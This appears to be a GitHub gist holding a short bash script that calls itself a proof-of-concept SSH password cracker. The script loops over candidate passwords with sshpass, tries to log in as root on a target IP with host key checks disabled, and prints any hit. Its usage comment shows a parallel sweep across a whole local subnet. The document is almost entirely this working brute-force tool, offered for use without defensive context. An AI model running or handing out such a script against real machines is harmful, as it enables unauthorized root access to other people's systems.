Skip to content

Instantly share code, notes, and snippets.

@Frodox
Created October 24, 2016 10:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Frodox/49e9da1f2e98bc2f36fd571d6fca06d2 to your computer and use it in GitHub Desktop.
Save Frodox/49e9da1f2e98bc2f36fd571d6fca06d2 to your computer and use it in GitHub Desktop.
#!/bin/bash
#
# PoC ssh-password cracker based on sshpass pkg.
# Run it like: echo 192.168.1.{1..254} | tr ' ' '\n' | xargs -P$(nproc) -I{} bash -c "./hack-pc.sh {} 123123 123 12345678"
#
#
IP="$1"
shift
PASSES="$@"
echo "Trying to hack $IP..." >&2
for pass in $PASSES;
do
sshpass -p "$pass" ssh -n \
-o ConnectTimeout=3 \
-o StrictHostKeyChecking=no \
-o "UserKnownHostsFile /dev/null" \
root@$IP "exit 0"
[[ $? -eq 0 ]] && echo -e "GOT IT: \e[1;32m$IP @ $pass\e[0m"
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment